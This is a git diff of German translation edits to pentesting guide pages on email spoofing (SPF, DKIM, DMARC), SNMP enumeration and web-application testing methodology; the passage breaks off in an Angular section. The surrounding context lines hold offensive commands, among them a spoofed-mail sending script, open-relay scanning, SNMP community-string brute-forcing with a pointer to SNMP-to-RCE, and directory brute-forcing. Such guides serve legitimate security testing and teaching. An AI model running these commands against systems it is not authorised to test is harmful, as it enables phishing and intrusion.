beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selektor erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`. Ein Befehl, um diese Informationen abzurufen, könnte so aussehen: ```bash @@ -345,7 +345,7 @@ Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher ei > > Daher ist der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat. > -> Seiten mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all" +> Seiten mit Wildcard-A- oder MX-Einträgen sollten ebenfalls einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all" Das macht Sinn - eine Subdomain kann sich sehr wohl an einem anderen geografischen Standort befinden und eine sehr unterschiedliche SPF-Definition haben. @@ -363,7 +363,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Tools** -- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Überprüfen Sie SPF- und DMARC-Fehlkonfigurationen** +- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Überprüfen Sie SPF- und DMARC-Misconfigurationen** - [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatisch SPF- und DMARC-Konfigurationen abrufen** ### Spoof-E-Mail senden @@ -383,7 +383,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE ``` > [!WARNING] > Wenn Sie einen **Fehler bei der Verwendung der dkim Python-Bibliothek** beim Parsen des Schlüssels erhalten, können Sie diesen folgenden verwenden.\ -> **HINWEIS**: Dies ist nur ein schneller Fix, um schnelle Überprüfungen in Fällen durchzuführen, in denen aus irgendeinem Grund der openssl private key **nicht von dkim geparst werden kann**. +> **HINWEIS**: Dies ist nur ein schmutziger Fix, um schnelle Überprüfungen in Fällen durchzuführen, in denen aus irgendeinem Grund der openssl private key **nicht von dkim geparst werden kann**. > > ``` > -----BEGIN RSA PRIVATE KEY----- @@ -473,7 +473,7 @@ s.sendmail(sender, [destination], msg_data) {{#endtab}} {{#endtabs}} -### **Mehr Informationen** +### **Weitere Informationen** **Weitere Informationen zu diesen Schutzmaßnahmen finden Sie unter** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 70744726a..01bb1e663 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -28,7 +28,7 @@ Darüber hinaus haben Anbieter die Freiheit, private Zweige zu schaffen. Innerha ![](<../../images/SNMP_OID_MIB_Tree (1).png>) Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was ein OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\ -Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP)-Variablen verweisen. Und von den **OIDs, die von dieser abgeleitet sind**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten. +Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP) Variablen verweisen. Und von den **OIDs, die von dieser stammen**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten. ### **OID Beispiel** @@ -72,16 +72,16 @@ Es gibt 2 wichtige Versionen von SNMP: ### Community-Strings -Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c sowie die Anmeldeinformationen in Version 3 kennen.**\ +Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c und die Anmeldeinformationen in Version 3 kennen.**\ Es gibt **2 Arten von Community-Strings**: - **`public`** hauptsächlich **nur Lese**-Funktionen - **`private`** **Lese/Schreib** im Allgemeinen -Beachten Sie, dass **die Schreibbarkeit eines OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem kann es **Objekte geben**, die **immer "Nur Lesen"** sind.\ +Beachten Sie, dass **die Schreibbarkeit eines OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem **kann** es Objekte geben, die **immer "Nur Lesen" sind.**\ Wenn Sie versuchen, ein Objekt zu **schreiben**, erhalten Sie einen **`noSuchName` oder `readOnly` Fehler**\*\*.\*\* -In den Versionen 1 und 2/2c wird der Server nicht **antworten**, wenn Sie einen **schlechten** Community-String verwenden. Wenn er also antwortet, wurde ein **gültiger Community-String verwendet**. +In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verwenden, wird der Server nicht **antworten**. Wenn er also antwortet, wurde ein **gültiger Community-String verwendet**. ## Ports @@ -89,7 +89,7 @@ In den Versionen 1 und 2/2c wird der Server nicht **antworten**, wenn Sie einen - Der SNMP-Agent empfängt Anfragen auf UDP-Port **161**. - Der Manager empfängt Benachrichtigungen ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) und [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) auf Port **162**. -- Wenn er mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet. +- Wenn es mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet. ## Brute-Force Community-String (v1 und v2c) @@ -165,7 +165,7 @@ cisco-snmp.md ## Von SNMP zu RCE -Wenn du die **String** hast, die es dir erlaubt, **Werte** im SNMP-Dienst zu **schreiben**, könntest du in der Lage sein, dies auszunutzen, um **Befehle auszuführen**: +Wenn du die **String** hast, die es dir erlaubt, **Werte** im SNMP-Dienst zu **schreiben**, kannst du möglicherweise diese ausnutzen, um **Befehle auszuführen**: {{#ref}} snmp-rce.md @@ -173,11 +173,11 @@ snmp-rce.md ## **Massives SNMP** -[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen zu stellen – aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch. +[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen durchzuführen – aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch. Braa implementiert seinen eigenen SNMP-Stack, sodass es keine SNMP-Bibliotheken wie net-snmp benötigt. -**Syntax:** braa \[Community-String]@\[IP des SNMP-Servers]:\[iso id] +**Syntax:** braa \[Community-string]@\[IP des SNMP-Servers]:\[iso id] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 88e0ecd3f..8f80b0571 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -31,13 +31,13 @@ web-api-pentesting.md - [ ] Gibt es eine **bekannte Schwachstelle** der Version der Technologie? - [ ] Verwenden Sie eine **bekannte Technologie**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren? - [ ] Gibt es einen **spezialisierten Scanner**, den Sie ausführen können (wie wpscan)? -- [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen finden. +- [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen entdecken. - [ ] Beginnen Sie mit den **ersten Überprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS-Scan** (wenn HTTPS). - [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **Parameter zu finden, die verwendet werden.** Überprüfen Sie auch auf **besondere Funde**. - [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._ - [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen. - [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._ -- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen. +- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen. - [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden. - [ ] Sobald Sie alle möglichen **Endpunkte**, die **Benutzereingaben** akzeptieren, **identifiziert** haben, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind. - [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md) @@ -47,7 +47,7 @@ web-api-pentesting.md ### Identifizieren Überprüfen Sie, ob es **bekannte Schwachstellen** für die **Version** des Servers gibt, die ausgeführt wird.\ -Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu identifizieren, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:** +Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu **identifizieren**, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -64,7 +64,7 @@ Suche **nach** [**Schwachstellen der Webanwendung** **Version**](../../generic-h ### Web-Technik-Tricks -Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten **Technologien**, die verwendet werden: +Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten **Technologien**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -86,7 +86,7 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten * - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (PHP hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html) +- [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) @@ -105,7 +105,7 @@ Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste oben** Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben der Durchführung eines **White-Box-Tests** der Anwendung **einige Informationen**, die für das aktuelle **Black-Box-Testing** **nützlich** sein könnten: -- Gibt es eine **Änderungsprotokoll- oder Readme- oder Versionsdatei** oder irgendetwas mit **Versionsinformationen, das über das Web zugänglich ist**? +- Gibt es eine **Änderungsprotokoll- oder Readme- oder Versionsdatei** oder etwas mit **Versionsinformationen, das über das Web zugänglich ist**? - Wie und wo werden die **Anmeldeinformationen** gespeichert? Gibt es eine (zugängliche?) **Datei** mit Anmeldeinformationen (Benutzernamen oder Passwörtern)? - Sind **Passwörter** im **Klartext**, **verschlüsselt** oder welcher **Hash-Algorithmus** wird verwendet? - Wird ein **Master-Schlüssel** zur Verschlüsselung von etwas verwendet? Welcher **Algorithmus** wird verwendet? @@ -166,7 +166,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** oder **Offenlegung sensibler Informationen** öffnen. -- Greifen Sie auf **falsche Seiten** wie /whatever_fake.php (.aspx,.html,.etc) zu +- Greifen Sie auf **falsche Seiten** wie /whatever_fake.php (.aspx, .html, usw.) zu - **Fügen Sie "\[]", "]]" und "\[\["** in **Cookie-Werte** und **Parameterwerte** ein, um Fehler zu erzeugen - Generieren Sie einen Fehler, indem Sie als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** angeben - Versuchen Sie **verschiedene HTTP-Methoden** wie PATCH, DEBUG oder falsche wie FAKE @@ -175,13 +175,13 @@ Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über ausreichende Berechtigungen zum **Hochladen von Dateien** im Stammordner verfügen, versuchen Sie: -- **Brute Force** Anmeldeinformationen -- **Dateien hochladen** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen. +- **Brute Force**-Anmeldeinformationen +- **Dateien** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite hochzuladen. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen. ### **SSL/TLS-Schwachstellen** -- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** in irgendeinem Teil zu verwenden, ist sie **anfällig für MitM** -- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist dies eine hohe Schwachstelle. +- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** zu verwenden, ist sie **anfällig für MitM** +- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist das eine hohe Schwachstelle. Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen: ```bash @@ -226,12 +226,12 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Tolle Tool dafür. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür. - [**Crawley**](https://github.com/s0rg/crawley) (go): Druckt jeden Link, den es finden kann. -### Brute Force Verzeichnisse und Dateien +### Brute Force-Verzeichnisse und -Dateien -Beginnen Sie mit dem **Brute-Forcing** vom Stammverzeichnis und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen, die durch das **Spidering** **entdeckt** wurden, brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\ +Beginnen Sie mit dem **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse **entdeckt** durch das **Spidering** brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\ Tools: - **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Erlaubt automatisch signierte Zertifikate und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen. @@ -250,7 +250,7 @@ Tools: - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** enthaltenes Wörterbuch](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -- [Assetnote Wortlisten](https://wordlists.assetnote.io) +- [Assetnote-Wortlisten](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) - raft-large-directories-lowercase.txt - directory-list-2.3-medium.txt @@ -264,22 +264,22 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._ +_Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._ ### Was bei jeder gefundenen Datei zu überprüfen ist - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Finden Sie defekte Links in HTMLs, die anfällig für Übernahmen sein könnten. -- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.** - **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn Sie können, könnten Sie versuchen, versteckte Parameter in jeder ausführbaren Webdatei zu suchen.** - _Arjun alle Standard-Wortlisten:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden. -- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**. +- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (unter Verwendung von **Hunderte** von **Leerzeichen**, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**. - **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann. -- **S3-Buckets**: Achten Sie beim Spidering darauf, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html). +- **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html). ### Besondere Funde @@ -288,17 +288,17 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings **Interessante Dateien** - Suchen Sie nach **Links** zu anderen Dateien in den **CSS**-Dateien. -- [Wenn Sie eine _**.git**_ Datei finden, können einige Informationen extrahiert werden](git.md) -- Wenn Sie eine _**.env**_ finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden. +- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md). +- Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden. - Wenn Sie **API-Endpunkte** finden, [sollten Sie diese ebenfalls testen](web-api-pentesting.md). Diese sind keine Dateien, sehen aber wahrscheinlich "so aus". -- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)**.** verwenden. -- Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um herauszufinden, ob sie anfällig sind. +- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.** +- Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um festzustellen, ob sie anfällig sind. - **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck-Deobfuskation** (JavaScript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex) -- Sie könnten auch **die Dateien überwachen, in denen Formulare erkannt wurden**, da eine Änderung im Parameter oder das Auftauchen eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann. +- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex). +- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung im Parameter oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann. **403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)** @@ -334,7 +334,7 @@ Weitere Informationen zu Web-Sicherheitsanfälligkeiten finden Sie unter: - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -### Überwachen von Seiten auf Änderungen +### Seiten auf Änderungen überwachen Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die Sicherheitsanfälligkeiten einfügen könnten. diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index ef6b7ce0e..28c8996e2 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -58,13 +58,13 @@ Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es "hidden": false } ``` -Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien mit ihren ursprünglichen Dateien verknüpfen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht. +Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien ihren ursprünglichen Dateien zuordnen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht. Darüber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers → Quellen (oder Debugger und Quellen) → \[id].main.js gefunden werden. Abhängig von den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten `//# sourceMappingURL=[id].main.js.map` oder sie kann es nicht, wenn die **hidden**-Option auf **true** gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap für **Skripte** deaktiviert ist, und wir können die Datei nicht erhalten. Darüber hinaus kann die Sourcemap während des Projektbaus aktiviert werden, wie `ng build --source-map`. ## Datenbindung -Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente und ihrer entsprechenden Ansicht. Es wird verwendet, um Daten an das Angular-Framework zu übertragen und von diesem zu empfangen. Daten können auf verschiedene Weise übergeben werden, z. B. durch Ereignisse, Interpolation, Eigenschaften oder durch den Mechanismus der bidirektionalen Bindung. Darüber hinaus können Daten auch zwischen verwandten Komponenten (Eltern-Kind-Beziehung) und zwischen zwei nicht verwandten Komponenten mithilfe der Service-Funktion geteilt werden. +Binding bezieht 